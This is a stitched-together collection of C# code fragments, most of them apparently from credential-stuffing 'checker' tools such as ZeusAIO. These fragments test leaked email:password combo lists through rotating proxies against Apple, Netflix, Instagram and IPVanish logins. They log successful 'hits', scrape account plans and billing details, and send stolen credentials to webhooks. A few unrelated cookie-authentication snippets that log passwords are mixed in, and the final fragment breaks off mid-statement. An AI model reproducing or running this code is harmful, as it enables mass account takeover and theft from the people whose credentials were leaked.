public static bool CheckAccount(string[] s, string proxy) { for (int i = 0; i < Config.config.Retries + 1; i++) { while (true) { try { Retry: using (HttpRequest req = new HttpRequest()) { proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount)); if (ZeusAIO.mainmenu.proxyProtocol == "HTTP") { req.Proxy = HttpProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4") { req.Proxy = Socks4ProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5") { req.Proxy = Socks5ProxyClient.Parse(proxy); } CookieStorage cookies = new CookieStorage(); string token = AppleGetToken(ref cookies); req.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"; req.AddHeader("Content-Type", "application/x-www-form-urlencoded"); req.AddHeader("X-Requested-With", "XMLHttpRequest"); req.AddHeader("x-aos-model-page", "sentryLogin"); req.AddHeader("syntax", "graviton"); req.AddHeader("x-aos-stk", token); req.AddHeader("modelVersion", "v2"); req.AddHeader("Accept", "*/*"); req.AddHeader("Sec-Fetch-Site", "same-origin"); req.AddHeader("Sec-Fetch-Mode", "cors"); req.AddHeader("Sec-Fetch-Dest", "empty"); req.Referer = "https://secure4.store.apple.com/shop/sign_in?c=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ&r=SCDHYHP7CY4H9XK2H&s=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ"; req.Cookies = cookies; string strResponse = req.Post(new Uri("https://secure4.store.apple.com/shop/sentryx/sign_in_crd?c=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ&r=SCDHYHP7CY4H9XK2H&s=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ&_a=customerLogin&_m=loginHome.customerLogin"), new BytesContent(Encoding.Default.GetBytes($"loginHome.customerLogin.appleId={HttpUtility.UrlEncode(s[0])}&loginHome.customerLogin.password={s[1]}"))).ToString(); if (strResponse.Contains("{\"head\":{\"status\":302,\"data\":{\"url\":\"https://www.apple.com/\"}},\"body\":{}}")) { ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - APPLE] " + s[0] + ":" + s[1], Color.Green); } Export.AsResult("/Apple_hits", s[0] + ":" + s[1]); return(false); } else if (strResponse.Contains("incorrect_appleid_password") || strResponse.Contains("Your account information was entered incorrectly.") || strResponse.Contains("reset_password_account_locked")) { break; } else { ZeusAIO.mainmenu.realretries++; goto Retry; } } } catch { ZeusAIO.mainmenu.errors++; } } } return(false); }
private static string NetflixGetCaptures(string cookie, CookieStorage cookies) { for (var i = 0; i < 5; i++) { while (true) { try { using (var req = new HttpRequest()) { switch (Program.ProxyType1) { case "HTTP": req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]); req.Proxy.ConnectTimeout = 5000; break; case "SOCKS4": req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]); req.Proxy.ConnectTimeout = 5000; break; case "SOCKS5": req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]); req.Proxy.ConnectTimeout = 5000; break; } req.AddHeader("Cookie", "flwssn: " + cookie); req.Cookies = cookies; req.AddHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"); req.AddHeader("Accept-Encoding", "gzip, deflate, br"); req.AddHeader("Cache-Control", "max-age=0"); req.AddHeader("Connection", "keep-alive"); req.Referer = "https://www.netflix.com/browse"; req.AddHeader("Sec-Fetch-Dest", "document"); req.AddHeader("Sec-Fetch-Mode", "navigate"); req.AddHeader("Sec-Fetch-Site", "same-origin"); req.AddHeader("Sec-Fetch-User", "?1"); req.AddHeader("Upgrade-Insecure-Requests", "1"); req.UserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"; var strResponse = req.Get(new Uri("https://www.netflix.com/YourAccount")).ToString(); if (strResponse.Contains("currentPlanName\"")) { var plan = Regex.Match(strResponse, "\"currentPlanName\":\"(.*?)\"").Groups[1].Value .Replace("\\u03A4\\u03C5\\u03C0\\u03B9\\u03BA\\u03CC", "Basic") .Replace("B\\u00E1sico", "Basic").Replace("u57FAu672C", "Basic") .Replace("Est\\u00E1ndar", "Standard").Replace("Standart", "Standard"); var country = Regex.Match(strResponse, "\"currentCountry\":\"(.*?)\"").Groups[1].Value; var isDVD = Regex.Match(strResponse, "\"isDVD\":(.*?),").Groups[1].Value; var screens = Regex.Match(strResponse, "\"maxStreams\":([0-9]*?),").Groups[1].Value; var nextBillingDate = Regex.Match(strResponse, "\"nextBillingDate\":\"(.*?)\"") .Groups[1].Value.Replace("\\x2F", "/").Replace("\\x20", "/"); return ($"Plan: {plan} - Screens: {screens} - Country: {country} - DVD: {isDVD} - Next Billing: {nextBillingDate}"); } } } catch { Program.Errors++; } } } return("Working - Failed Capture"); }
public static void Check() { for (;;) { if (Program.Proxyindex > Program.Proxies.Count() - 2) { Program.Proxyindex = 0; } try { Interlocked.Increment(ref Program.Proxyindex); using (var req = new HttpRequest()) { if (Combosindex >= Combos.Count()) { Program.Stop++; break; } Interlocked.Increment(ref Combosindex); var array = Combos[Combosindex].Split(':', ';', '|'); var text = array[0] + ":" + array[1]; try { var random = "NFAPPL-02-IPHONE7=2-" + RandomCapitalsAndDigits(64); var KIR = UrlEncode("NFAPPL-02-IPHONE7=2-" + random); var paramsData = UrlEncode("{\"action\":\"loginAction\",\"fields\":{\"userLoginId\":\"" + array[0] + "\",\"rememberMe\":\"true\",\"password\":\"" + array[1] + "\"},\"verb\":\"POST\",\"mode\":\"login\",\"flow\":\"appleSignUp\"}"); var length = "appInternalVersion=11.44.0&appVersion=11.44.0&callPath=%5B%22moneyball%22%2C%22appleSignUp%22%2C%22next%22%5D&config=%7B%22useSecureImages%22%3Atrue%2C%22billboardTrailerEnabled%22%3A%22false%22%2C%22clipsEnabled%22%3A%22false%22%2C%22titleCapabilityFlattenedShowEnabled%22%3A%22true%22%2C%22seasonRenewalPostPlayEnabled%22%3A%22true%22%2C%22previewsBrandingEnabled%22%3A%22true%22%2C%22aroGalleriesEnabled%22%3A%22true%22%2C%22interactiveFeatureSugarPuffsEnabled%22%3A%22true%22%2C%22showMoreDirectors%22%3Atrue%2C%22searchImageLocalizationFallbackLocales%22%3Atrue%2C%22billboardEnabled%22%3A%22true%22%2C%22searchImageLocalizationOnResultsOnly%22%3A%22false%22%2C%22interactiveFeaturePIBEnabled%22%3A%22true%22%2C%22warmerHasGenres%22%3Atrue%2C%22interactiveFeatureBadgeIconTestEnabled%22%3A%229.57.0%22%2C%22previewsRowEnabled%22%3A%22true%22%2C%22kidsMyListEnabled%22%3A%22true%22%2C%22billboardPredictionEnabled%22%3A%22false%22%2C%22kidsBillboardEnabled%22%3A%22true%22%2C%22characterBarOnPhoneEnabled%22%3A%22false%22%2C%22contentWarningEnabled%22%3A%22true%22%2C%22bigRowEnabled%22%3A%22true%22%2C%22interactiveFeatureAppUpdateDialogueEnabled%22%3A%22false%22%2C%22familiarityUIEnabled%22%3A%22false%22%2C%22bigrowNewUIEnabled%22%3A%22false%22%2C%22interactiveFeatureSugarPuffsPreplayEnabled%22%3A%22true%22%2C%22volatileBillboardEnabled%22%3A%22false%22%2C%22motionCharacterEnabled%22%3A%22true%22%2C%22roarEnabled%22%3A%22true%22%2C%22billboardKidsTrailerEnabled%22%3A%22false%22%2C%22interactiveFeatureBuddyEnabled%22%3A%22true%22%2C%22mobileCollectionsEnabled%22%3A%22false%22%2C%22interactiveFeatureMinecraftEnabled%22%3A%22true%22%2C%22searchImageLocalizationEnabled%22%3A%22false%22%2C%22interactiveFeatureKimmyEnabled%22%3A%22true%22%2C%22interactiveFeatureYouVsWildEnabled%22%3A%22true%22%2C%22interactiveFeatureStretchBreakoutEnabled%22%3A%22true%22%2C%22kidsTrailers%22%3Atrue%7D&device_type=NFAPPL-02-&esn=" + KIR + "&idiom=phone&iosVersion=12.4.3&isTablet=false&kids=false&maxDeviceWidth=375&method=call&model=saget&modelType=IPHONE7-2&odpAware=true¶m=" + paramsData + "&pathFormat=graph&pixelDensity=2.0&progressive=false&responseFormat=json" .Length; switch (Program.ProxyType1) { case "HTTP": req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]); req.Proxy.ConnectTimeout = 5000; break; case "SOCKS4": req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]); req.Proxy.ConnectTimeout = 5000; break; case "SOCKS5": req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]); req.Proxy.ConnectTimeout = 5000; break; } req.UserAgent = "Argo/11.44.0 (iPhone; iOS 12.4.3; Scale/2.00)"; req.AddHeader("Host", "ios.prod.ftl.netflix.com"); req.AddHeader("X-Netflix.Argo.abTests", ""); req.AddHeader("X-Netflix.client.appVersion", "11.44.0"); req.AddHeader("Accept", "*/*"); req.AddHeader("X-Netflix.Argo.NFNSM", "9"); req.AddHeader("Accept-Language", "en-US;q=1, fa-UK;q=0.9, en-UK;q=0.8, ar-UK;q=0.7"); req.AddHeader("Accept-Encoding", "gzip, deflate"); req.AddHeader("X-Netflix.Request.Attempt", "1"); req.AddHeader("X-Netflix.client.idiom", "phone"); req.AddHeader("X-Netflix.Request.Routing", "{\"path\":\"/nq/iosui/argo/~11.44.0/user\",\"control_tag\":\"iosui_argo_non_member\"}"); req.AddHeader("X-Netflix.client.type", "argo"); req.AddHeader("Content-Length", length); req.AddHeader("Connection", "close"); req.AddHeader("X-Netflix.client.iosVersion", "12.4.3"); var post = req.Post("https://ios.prod.ftl.netflix.com/iosui/user/11.44", "appInternalVersion=11.44.0&appVersion=11.44.0&callPath=%5B%22moneyball%22%2C%22appleSignUp%22%2C%22next%22%5D&config=%7B%22useSecureImages%22%3Atrue%2C%22billboardTrailerEnabled%22%3A%22false%22%2C%22clipsEnabled%22%3A%22false%22%2C%22titleCapabilityFlattenedShowEnabled%22%3A%22true%22%2C%22seasonRenewalPostPlayEnabled%22%3A%22true%22%2C%22previewsBrandingEnabled%22%3A%22true%22%2C%22aroGalleriesEnabled%22%3A%22true%22%2C%22interactiveFeatureSugarPuffsEnabled%22%3A%22true%22%2C%22showMoreDirectors%22%3Atrue%2C%22searchImageLocalizationFallbackLocales%22%3Atrue%2C%22billboardEnabled%22%3A%22true%22%2C%22searchImageLocalizationOnResultsOnly%22%3A%22false%22%2C%22interactiveFeaturePIBEnabled%22%3A%22true%22%2C%22warmerHasGenres%22%3Atrue%2C%22interactiveFeatureBadgeIconTestEnabled%22%3A%229.57.0%22%2C%22previewsRowEnabled%22%3A%22true%22%2C%22kidsMyListEnabled%22%3A%22true%22%2C%22billboardPredictionEnabled%22%3A%22false%22%2C%22kidsBillboardEnabled%22%3A%22true%22%2C%22characterBarOnPhoneEnabled%22%3A%22false%22%2C%22contentWarningEnabled%22%3A%22true%22%2C%22bigRowEnabled%22%3A%22true%22%2C%22interactiveFeatureAppUpdateDialogueEnabled%22%3A%22false%22%2C%22familiarityUIEnabled%22%3A%22false%22%2C%22bigrowNewUIEnabled%22%3A%22false%22%2C%22interactiveFeatureSugarPuffsPreplayEnabled%22%3A%22true%22%2C%22volatileBillboardEnabled%22%3A%22false%22%2C%22motionCharacterEnabled%22%3A%22true%22%2C%22roarEnabled%22%3A%22true%22%2C%22billboardKidsTrailerEnabled%22%3A%22false%22%2C%22interactiveFeatureBuddyEnabled%22%3A%22true%22%2C%22mobileCollectionsEnabled%22%3A%22false%22%2C%22interactiveFeatureMinecraftEnabled%22%3A%22true%22%2C%22searchImageLocalizationEnabled%22%3A%22false%22%2C%22interactiveFeatureKimmyEnabled%22%3A%22true%22%2C%22interactiveFeatureYouVsWildEnabled%22%3A%22true%22%2C%22interactiveFeatureStretchBreakoutEnabled%22%3A%22true%22%2C%22kidsTrailers%22%3Atrue%7D&device_type=NFAPPL-02-&esn=" + KIR + "&idiom=phone&iosVersion=12.4.3&isTablet=false&kids=false&maxDeviceWidth=375&method=call&model=saget&modelType=IPHONE7-2&odpAware=true¶m=" + paramsData + "&pathFormat=graph&pixelDensity=2.0&progressive=false&responseFormat=json", "application/x-www-form-urlencoded").ToString(); if (!post.Contains("\"value\":\"incorrect_password\"},") || !post.Contains("unrecognized_email_consumption_only") || !post.Contains("login_error_consumption_only")) { if (post.Contains("memberHome")) { Program.Hits++; Program.TotalChecks++; var cookie = Parse(post, "\"flwssn\":\"", "\""); var cookiess = new CookieStorage(); req.AddHeader("Cookie", "flwssn: " + cookie); req.Cookies = cookiess; req.AddHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"); req.AddHeader("Accept-Encoding", "gzip, deflate, br"); req.AddHeader("Cache-Control", "max-age=0"); req.AddHeader("Connection", "keep-alive"); req.Referer = "https://www.netflix.com/browse"; req.AddHeader("Sec-Fetch-Dest", "document"); req.AddHeader("Sec-Fetch-Mode", "navigate"); req.AddHeader("Sec-Fetch-Site", "same-origin"); req.AddHeader("Sec-Fetch-User", "?1"); req.AddHeader("Upgrade-Insecure-Requests", "1"); req.UserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"; var strResponse = req.Get(new Uri("https://www.netflix.com/YourAccount")) .ToString(); if (strResponse.Contains("currentPlanName\"")) { var Sub = Parse(strResponse, "\"currentPlanName\":\"", "\""); var plan = Parse(strResponse, ",\"planDuration\":\"", "\",\"localizedPlanName"); var trial = Parse(strResponse, "\"isInFreeTrial\":", ","); var Country = Parse(strResponse, "\",\"currentCountry\":\"", "\""); var capture = $"Suubscription: {Sub} - Plan: {plan} - Trial: {trial} - Country: {Country}"; if (Program.lorc == "LOG") { Settings.PrintHit("NETFLIX", array[0] + ":" + array[1] + capture); } if (Settings.sendToWebhook) { Settings.sendTowebhook1(array[0] + ":" + array[1], "NETFLIX"); } } } else if (post.Contains("never_member_consumption_only")) { Program.Frees++; Program.TotalChecks++; if (Program.lorc == "LOG") { Settings.PrintFree("NETFLIX", array[0] + ":" + array[1]); } if (Settings.sendToWebhook) { Settings.sendTowebhook1(array[0] + ":" + array[1], "NETFLIX Frees"); } } else if (post.Contains("former_member_consumption_only")) { Program.Others++; Program.TotalChecks++; } } else { Program.Fails++; Program.TotalChecks++; } } catch (Exception) { Program.Combos.Add(text); } } } catch { Interlocked.Increment(ref Program.Errors); } } }
public static bool CheckAccount(string[] s, string proxy) { for (int i = 0; i < Config.config.Retries + 1; i++) { while (true) { try { Retry: using (HttpRequest httpRequest = new HttpRequest()) { proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount)); if (ZeusAIO.mainmenu.proxyProtocol == "HTTP") { httpRequest.Proxy = HttpProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4") { httpRequest.Proxy = Socks4ProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5") { httpRequest.Proxy = Socks5ProxyClient.Parse(proxy); } httpRequest.IgnoreProtocolErrors = true; httpRequest.AllowAutoRedirect = false; httpRequest.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(httpRequest.SslCertificateValidatorCallback, new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify())); CookieStorage cookies = new CookieStorage(); string token = InstagramGetCSRF(ref cookies); httpRequest.Cookies = cookies; httpRequest.AddHeader("Content-Type", "application/x-www-form-urlencoded"); httpRequest.UserAgent = "Instagram 25.0.0.26.136 Android (24/7.0; 480dpi; 1080x1920; samsung; SM-J730F; j7y17lte; samsungexynos7870)"; httpRequest.AddHeader("Pragma", "no-cache"); httpRequest.AddHeader("Accept", "*/*"); httpRequest.AddHeader("Cookie2", "$Version=1"); httpRequest.AddHeader("Accept-Language", "en-US"); httpRequest.AddHeader("X-IG-Capabilities", "3boBAA=="); httpRequest.AddHeader("X-IG-Connection-Type", "WIFI"); httpRequest.AddHeader("X-IG-Connection-Speed", "-1kbps"); httpRequest.AddHeader("X-IG-App-ID", "567067343352427"); httpRequest.AddHeader("rur", "ATN"); string guid = (GetRandomHexNumber(8) + "-" + GetRandomHexNumber(4) + "-4" + GetRandomHexNumber(3) + "-8" + GetRandomHexNumber(3) + "-" + GetRandomHexNumber(12)).ToLower(); string android_id = "android-" + GetRandomHexNumber(16); string jsonData = HttpUtility.UrlEncode("{\"_csrftoken\":\"" + token + "\",\"adid\":\"" + guid + "\",\"country_codes\":\"[{\\\"country_code\\\":\\\"1\\\",\\\"source\\\":[\\\"default\\\"]}]\",\"device_id\":\"" + android_id + "\",\"google_tokens\":\"[]\",\"guid\":\"" + guid + "\",\"login_attempt_count\":0,\"password\":\"" + s[1] + "\",\"phone_id\":\"" + guid + "\",\"username\":\"" + s[0] + "\"}"); string strResponse = httpRequest.Post(new Uri("https://i.instagram.com/api/v1/accounts/login/"), new BytesContent(Encoding.Default.GetBytes("signed_body=9387a4ccde8c044515539b8249da655d63a73093eaf7c4b45fad126aa961e45b." + jsonData + "&ig_sig_key_version=4"))).ToString(); if (strResponse.Contains("logged_in_user")) { string is_verified = Regex.Match(strResponse, "is_verified\": (.*?),").Groups[1].Value; string is_business = Regex.Match(strResponse, "is_business\": (.*?),").Groups[1].Value; string is_private = Regex.Match(strResponse, "is_private\": (.*?),").Groups[1].Value; string username = Regex.Match(strResponse, "\"username\": \"(.*?)\"").Groups[1].Value; string otherCapture = ""; otherCapture = InstagramGetCaptures(cookies, username); if (otherCapture == "") { ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - INSTAGRAM] " + s[0] + ":" + s[1] + " | " + $"Username: {username} - Verified: {is_verified} - Business: {is_business} - Private: {is_private}", Color.Green); } Export.AsResult("/Instagram_hits", s[0] + ":" + s[1] + " | " + $"Username: {username} - Verified: {is_verified} - Business: {is_business} - Private: {is_private}"); return(false); } ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - INSTAGRAM] " + s[0] + ":" + s[1] + " | " + $"Username: {username} - Verified: {is_verified} - Business: {is_business} - Private: {is_private}{otherCapture}", Color.Green); } Export.AsResult("/Instagram_hits", s[0] + ":" + s[1] + " | " + $"Username: {username} - Verified: {is_verified} - Business: {is_business} - Private: {is_private}{otherCapture}"); return(false); } else if (strResponse.Contains("challenge_required") || strResponse.Contains("\"two_factor_required\": true,")) { ZeusAIO.mainmenu.frees++; if (Config.config.LogorCui == "2") { Console.WriteLine("[FREE - INSTAGRAM] " + s[0] + ":" + s[1] + " | 2fa", Color.OrangeRed); } Export.AsResult("/Instagram_frees", s[0] + ":" + s[1] + " | 2fa"); return(false); } else if (strResponse.Contains("\"The password you entered is incorrect. Please try again.\"") || strResponse.Contains("\"The username you entered doesn't appear to belong to an account. Please check your username and try again.\",") || strResponse.Contains("\"Invalid Parameters\",")) { break; } else { ZeusAIO.mainmenu.realretries++; goto Retry; } } break; } catch (Exception ex) { ZeusAIO.mainmenu.errors++; } } } return(false); }
public static bool AuthenticateMe(string cookie) { if (!string.IsNullOrEmpty(cookie)) { int tenant; Guid userid; string login; string password; int indexTenant; DateTime expire; int indexUser; if (CookieStorage.DecryptCookie(cookie, out tenant, out userid, out login, out password, out indexTenant, out expire, out indexUser)) { if (tenant != CoreContext.TenantManager.GetCurrentTenant().TenantId) { return(false); } var settingsTenant = TenantCookieSettings.GetForTenant(tenant); if (!settingsTenant.IsDefault() && indexTenant != settingsTenant.Index) { return(false); } if (expire != DateTime.MaxValue && expire < DateTime.UtcNow) { return(false); } try { if (userid != Guid.Empty) { var settingsUser = TenantCookieSettings.GetForUser(userid); if (!settingsUser.IsDefault() && indexUser != settingsUser.Index) { return(false); } AuthenticateMe(new UserAccount(new UserInfo { ID = userid }, tenant)); } else { AuthenticateMe(login, password); } return(true); } catch (InvalidCredentialException ice) { log.DebugFormat("{0}: cookie {1}, tenant {2}, userid {3}, login {4}, pass {5}", ice.Message, cookie, tenant, userid, login, password); } catch (SecurityException se) { log.DebugFormat("{0}: cookie {1}, tenant {2}, userid {3}, login {4}, pass {5}", se.Message, cookie, tenant, userid, login, password); } catch (Exception err) { log.ErrorFormat("Authenticate error: cookie {0}, tenant {1}, userid {2}, login {3}, pass {4}: {5}", cookie, tenant, userid, login, password, err); } } else { log.WarnFormat("Can not decrypt cookie: {0}", cookie); } } return(false); }
protected override async Task OnInitializedAsync() { TestCookie = await CookieStorage.GetCookie("test"); await CookieStorage.SetCookie("test", Guid.NewGuid().ToString()); }
public static bool AuthenticateMe(string cookie) { if (!string.IsNullOrEmpty(cookie)) { int tenant; Guid userid; string login; string password; int indexTenant; DateTime expire; int indexUser; if (cookie.Equals("Bearer", StringComparison.InvariantCulture)) { var ipFrom = string.Empty; var address = string.Empty; if (HttpContext.Current != null) { var request = HttpContext.Current.Request; ipFrom = "from " + (request.Headers["X-Forwarded-For"] ?? request.UserHostAddress); address = "for " + request.GetUrlRewriter(); } log.InfoFormat("Empty Bearer cookie: {0} {1}", ipFrom, address); } else if (CookieStorage.DecryptCookie(cookie, out tenant, out userid, out login, out password, out indexTenant, out expire, out indexUser)) { if (tenant != CoreContext.TenantManager.GetCurrentTenant().TenantId) { return(false); } var settingsTenant = TenantCookieSettings.GetForTenant(tenant); if (!settingsTenant.IsDefault() && indexTenant != settingsTenant.Index) { return(false); } if (expire != DateTime.MaxValue && expire < DateTime.UtcNow) { return(false); } try { if (userid != Guid.Empty) { var settingsUser = TenantCookieSettings.GetForUser(userid); if (!settingsUser.IsDefault() && indexUser != settingsUser.Index) { return(false); } AuthenticateMe(new UserAccount(new UserInfo { ID = userid }, tenant)); } else { AuthenticateMe(login, password); } return(true); } catch (InvalidCredentialException ice) { log.DebugFormat("{0}: cookie {1}, tenant {2}, userid {3}, login {4}, pass {5}", ice.Message, cookie, tenant, userid, login, password); } catch (SecurityException se) { log.DebugFormat("{0}: cookie {1}, tenant {2}, userid {3}, login {4}, pass {5}", se.Message, cookie, tenant, userid, login, password); } catch (Exception err) { log.ErrorFormat("Authenticate error: cookie {0}, tenant {1}, userid {2}, login {3}, pass {4}: {5}", cookie, tenant, userid, login, password, err); } } else { var ipFrom = string.Empty; var address = string.Empty; if (HttpContext.Current != null) { var request = HttpContext.Current.Request; address = "for " + request.GetUrlRewriter(); ipFrom = "from " + (request.Headers["X-Forwarded-For"] ?? request.UserHostAddress); } log.WarnFormat("Can not decrypt cookie: {0} {1} {2}", cookie, ipFrom, address); } } return(false); }
public static void Check() { for (;;) { if (Program.Proxyindex > Program.Proxies.Count() - 2) { Program.Proxyindex = 0; } try { Interlocked.Increment(ref Program.Proxyindex); using (var req = new HttpRequest()) { if (Combosindex >= Combos.Count()) { Program.Stop++; break; } Interlocked.Increment(ref Combosindex); var array = Combos[Combosindex].Split(':', ';', '|'); var text5 = array[0] + ":" + array[1]; try { switch (Program.ProxyType1) { case "HTTP": req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]); req.Proxy.ConnectTimeout = 5000; break; case "SOCKS4": req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]); req.Proxy.ConnectTimeout = 5000; break; case "SOCKS5": req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]); req.Proxy.ConnectTimeout = 5000; break; } req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine( req.SslCertificateValidatorCallback, new RemoteCertificateValidationCallback((obj, cert, ssl, error) => (cert as X509Certificate2).Verify())); var cookieStorage_ = new CookieStorage(); var text = smethod_24(ref cookieStorage_); req.AddHeader("Content-Type", "application/x-www-form-urlencoded"); req.Cookies = cookieStorage_; var text2 = req.Post(new Uri("https://account.ipvanish.com/login/validate"), new BytesContent(Encoding.Default.GetBytes("clientToken=" + text + "&username="******"&password="******"Account Status")) { if (text2.Contains("Sorry, your account credentials are invalid.")) { } } var value = Regex.Match(text2, "Current Plan:.*?\n.*?profile_label\">(.*?)<").Groups[1] .Value; var value2 = Regex.Match(text2, "Renewal Date:.*?\n.*?profile_label\">(.*?)<").Groups[1] .Value; } catch (Exception) { Program.Combos.Add(text5); } } } catch { Interlocked.Increment(ref Program.Errors); } } }
public static void Check() { for (;;) { if (Program.Proxyindex > Program.Proxies.Count() - 2) { Program.Proxyindex = 0; } try { Interlocked.Increment(ref Program.Proxyindex); using (var req = new HttpRequest()) { if (Combosindex >= Combos.Count()) { Program.Stop++; break; } Interlocked.Increment(ref Combosindex); var array = Combos[Combosindex].Split(':', ';', '|'); var text = array[0] + ":" + array[1]; try { switch (Program.ProxyType1) { case "HTTP": req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]); req.Proxy.ConnectTimeout = 5000; break; case "SOCKS4": req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]); req.Proxy.ConnectTimeout = 5000; break; case "SOCKS5": req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]); req.Proxy.ConnectTimeout = 5000; break; } req.IgnoreProtocolErrors = true; req.AllowAutoRedirect = false; req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine( req.SslCertificateValidatorCallback, new RemoteCertificateValidationCallback((obj, cert, ssl, error) => (cert as X509Certificate2).Verify())); var cookies = new CookieStorage(); var token = InstagramGetCSRF(ref cookies); req.Cookies = cookies; req.AddHeader("Content-Type", "application/x-www-form-urlencoded"); req.UserAgent = "Instagram 25.0.0.26.136 Android (24/7.0; 480dpi; 1080x1920; samsung; SM-J730F; j7y17lte; samsungexynos7870)"; req.AddHeader("Pragma", "no-cache"); req.AddHeader("Accept", "*/*"); req.AddHeader("Cookie2", "$Version=1"); req.AddHeader("Accept-Language", "en-US"); req.AddHeader("X-IG-Capabilities", "3boBAA=="); req.AddHeader("X-IG-Connection-Type", "WIFI"); req.AddHeader("X-IG-Connection-Speed", "-1kbps"); req.AddHeader("X-IG-App-ID", "567067343352427"); req.AddHeader("rur", "ATN"); var guid = (GetRandomHexNumber(8) + "-" + GetRandomHexNumber(4) + "-4" + GetRandomHexNumber(3) + "-8" + GetRandomHexNumber(3) + "-" + GetRandomHexNumber(12)).ToLower(); var android_id = "android-" + GetRandomHexNumber(16); var jsonData = HttpUtility.UrlEncode("{\"_csrftoken\":\"" + token + "\",\"adid\":\"" + guid + "\",\"country_codes\":\"[{\\\"country_code\\\":\\\"1\\\",\\\"source\\\":[\\\"default\\\"]}]\",\"device_id\":\"" + android_id + "\",\"google_tokens\":\"[]\",\"guid\":\"" + guid + "\",\"login_attempt_count\":0,\"password\":\"" + array[1] + "\",\"phone_id\":\"" + guid + "\",\"username\":\"" + array[0] + "\"}"); var strResponse = req.Post(new Uri("https://i.instagram.com/api/v1/accounts/login/"), new BytesContent(Encoding.Default.GetBytes( "signed_body=9387a4ccde8c044515539b8249da655d63a73093eaf7c4b45fad126aa961e45b." + jsonData + "&ig_sig_key_version=4"))).ToString(); if (strResponse.Contains("logged_in_user")) { var is_verified = Regex.Match(strResponse, "is_verified\": (.*?),").Groups[1].Value; var is_business = Regex.Match(strResponse, "is_business\": (.*?),").Groups[1].Value; var is_private = Regex.Match(strResponse, "is_private\": (.*?),").Groups[1].Value; var username = Regex.Match(strResponse, "\"username\": \"(.*?)\"").Groups[1].Value; var otherCapture = ""; otherCapture = InstagramGetCaptures(cookies, username); if (otherCapture == "") { Program.Hits++; Program.TotalChecks++; if (Program.lorc == "LOG") { Settings.PrintHit("Instagram", array[0] + ":" + array[1] + " | " + $"Username: {username} - Verified: {is_verified} - Business: {is_business} - Private: {is_private}"); } Export.AsResult("/Instagram_hits", array[0] + ":" + array[1] + " | " + $"Username: {username} - Verified: {is_verified} - Business: {is_business} - Private: {is_private}"); if (Settings.sendToWebhook) { Settings.sendTowebhook1(array[0] + ":" + array[1], "Instagram Hits"); } } Program.Hits++; Program.TotalChecks++; Export.AsResult("/Instagram_hits", array[0] + ":" + array[1] + " | " + $"Username: {username} - Verified: {is_verified} - Business: {is_business} - Private: {is_private}{otherCapture}"); if (Program.lorc == "LOG") { Settings.PrintHit("Instagram", array[0] + ":" + array[1] + " | " + $"Username: {username} - Verified: {is_verified} - Business: {is_business} - Private: {is_private}"); } if (Settings.sendToWebhook) { Settings.sendTowebhook1(array[0] + ":" + array[1], "Instagram Hits"); } } else if (strResponse.Contains("challenge_required") || strResponse.Contains("\"two_factor_required\": true,")) { Program.Frees++; Program.TotalChecks++; if (Program.lorc == "LOG") { Settings.PrintFree("Instagram", array[0] + ":" + array[1]); } Export.AsResult("/Instagram_frees", array[0] + ":" + array[1] + " | 2fa"); } else if (strResponse.Contains( "\"The password you entered is incorrect. Please try again.\"") || 